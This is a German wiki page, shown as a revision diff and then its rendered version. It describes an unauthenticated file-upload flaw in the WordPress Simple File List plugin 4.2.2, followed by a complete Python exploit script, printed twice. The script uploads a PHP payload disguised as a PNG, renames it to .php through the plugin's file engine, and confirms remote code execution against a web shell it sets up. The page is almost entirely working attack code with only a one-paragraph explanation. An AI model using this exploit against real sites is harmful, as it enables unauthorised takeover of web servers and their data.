Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 2: Zeile 2:
 
==Schachstelle==
 
==Schachstelle==
 
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.
 
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.
 +
 +
<syntaxhighlight lang="python">
 +
import requests
 +
 +
import random
 +
 +
import hashlib
 +
 +
import sys
 +
 +
import os
 +
 +
import urllib3
 +
 +
urllib3.disable_warnings()
 +
 +
 +
 +
dir_path = '/wp-content/uploads/simple-file-list/'
 +
 +
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
 +
 +
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
 +
 +
 +
 +
 +
 +
def usage():
 +
 +
    banner = """
 +
 +
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
 +
 +
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
 +
 +
AUTHOR: coiffeur
 +
 +
    """
 +
 +
    print(banner)
 +
 +
 +
 +
 +
 +
def generate():
 +
    filename = f'{random.randint(0, 10000)}.png'
 +
 +
    password = hashlib.md5(bytearray(random.getrandbits(8)
 +
 +
                                    for _ in range(20))).hexdigest()
 +
 +
    with open(f'{filename}', 'wb') as f:
 +
 +
        payload = open("payload.txt","r").read()
 +
 +
        f.write(payload.encode())
 +
 +
    print(f'[ ] File {filename} generated with password: {password}')
 +
 +
    return filename, password
 +
 +
 +
 +
 +
 +
def upload(url, filename):
 +
 +
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
 +
 +
    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
 +
 +
            'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
 +
 +
    r = requests.post(url=f'{url}{upload_path}',
 +
 +
                      data=datas, files=files, verify=False)
 +
 +
    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
 +
 +
    if r.status_code == 200:
 +
 +
        print(f'[ ] File uploaded at {url}{dir_path}{filename}')
 +
 +
        os.remove(filename)
 +
 +
    else:
 +
 +
        print(f'[*] Failed to upload {filename}')
 +
 +
        exit(-1)
 +
 +
    return filename
 +
 +
 +
 +
 +
 +
def move(url, filename):
 +
 +
    new_filename = f'{filename.split(".")[0]}.php'
 +
 +
    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
 +
 +
              'X-Requested-With': 'XMLHttpRequest'}
 +
 +
    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
 +
 +
            'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
 +
 +
    r = requests.post(url=f'{url}{move_path}',
 +
 +
                      data=datas, headers=headers, verify=False)
 +
 +
    if r.status_code == 200:
 +
 +
        print(f'[ ] File moved to {url}{dir_path}{new_filename}')
 +
 +
    else:
 +
 +
        print(f'[*] Failed to move {filename}')
 +
 +
        exit(-1)
 +
 +
    return new_filename
 +
 +
 +
 +
 +
 +
def main(url):
 +
 +
    file_to_upload, password = generate()
 +
 +
    uploaded_file = upload(url, file_to_upload)
 +
 +
    moved_file = move(url, uploaded_file)
 +
 +
    if moved_file:
 +
 +
        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')
 +
 +
 +
 +
    datas = {'password': password, 'cmd': 'phpinfo();'}
 +
 +
    r = requests.post(url=f'{url}{dir_path}{moved_file}',
 +
 +
                      data=datas, verify=False)
 +
 +
    if r.status_code == 200 and r.text.find('php') != -1:
 +
 +
        print('[+] Exploit work !')
 +
 +
        print(f'\tURL: {url}{dir_path}{moved_file}')
 +
 +
        print(f'\tPassword: {password}')
 +
 +
 +
 +
 +
 +
if __name__ == "__main__":
 +
 +
    if (len(sys.argv) < 2):
 +
 +
        usage()
 +
 +
        exit(-1)
 +
 +
 +
 +
    main(sys.argv[1])
 +
</syntaxhighlight>

Version vom 11. April 2022, 13:10 Uhr

Arbitrary file upload in Simple File List plugin for WordPress

Schachstelle

Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.

import requests

import random

import hashlib

import sys

import os

import urllib3

urllib3.disable_warnings()



dir_path = '/wp-content/uploads/simple-file-list/'

upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'

move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'





def usage():

    banner = """

NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE

SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>

AUTHOR: coiffeur

    """

    print(banner)





def generate():
    filename = f'{random.randint(0, 10000)}.png'

    password = hashlib.md5(bytearray(random.getrandbits(8)

                                     for _ in range(20))).hexdigest()

    with open(f'{filename}', 'wb') as f:

        payload = open("payload.txt","r").read()

        f.write(payload.encode())

    print(f'[ ] File {filename} generated with password: {password}')

    return filename, password





def upload(url, filename):

    files = {'file': (filename, open(filename, 'rb'), 'image/png')}

    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,

             'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}

    r = requests.post(url=f'{url}{upload_path}',

                      data=datas, files=files, verify=False)

    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)

    if r.status_code == 200:

        print(f'[ ] File uploaded at {url}{dir_path}{filename}')

        os.remove(filename)

    else:

        print(f'[*] Failed to upload {filename}')

        exit(-1)

    return filename





def move(url, filename):

    new_filename = f'{filename.split(".")[0]}.php'

    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',

               'X-Requested-With': 'XMLHttpRequest'}

    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,

             'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}

    r = requests.post(url=f'{url}{move_path}',

                      data=datas, headers=headers, verify=False)

    if r.status_code == 200:

        print(f'[ ] File moved to {url}{dir_path}{new_filename}')

    else:

        print(f'[*] Failed to move {filename}')

        exit(-1)

    return new_filename





def main(url):

    file_to_upload, password = generate()

    uploaded_file = upload(url, file_to_upload)

    moved_file = move(url, uploaded_file)

    if moved_file:

        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')



    datas = {'password': password, 'cmd': 'phpinfo();'}

    r = requests.post(url=f'{url}{dir_path}{moved_file}',

                      data=datas, verify=False)

    if r.status_code == 200 and r.text.find('php') != -1:

        print('[+] Exploit work !')

        print(f'\tURL: {url}{dir_path}{moved_file}')

        print(f'\tPassword: {password}')





if __name__ == "__main__":

    if (len(sys.argv) < 2):

        usage()

        exit(-1)



    main(sys.argv[1])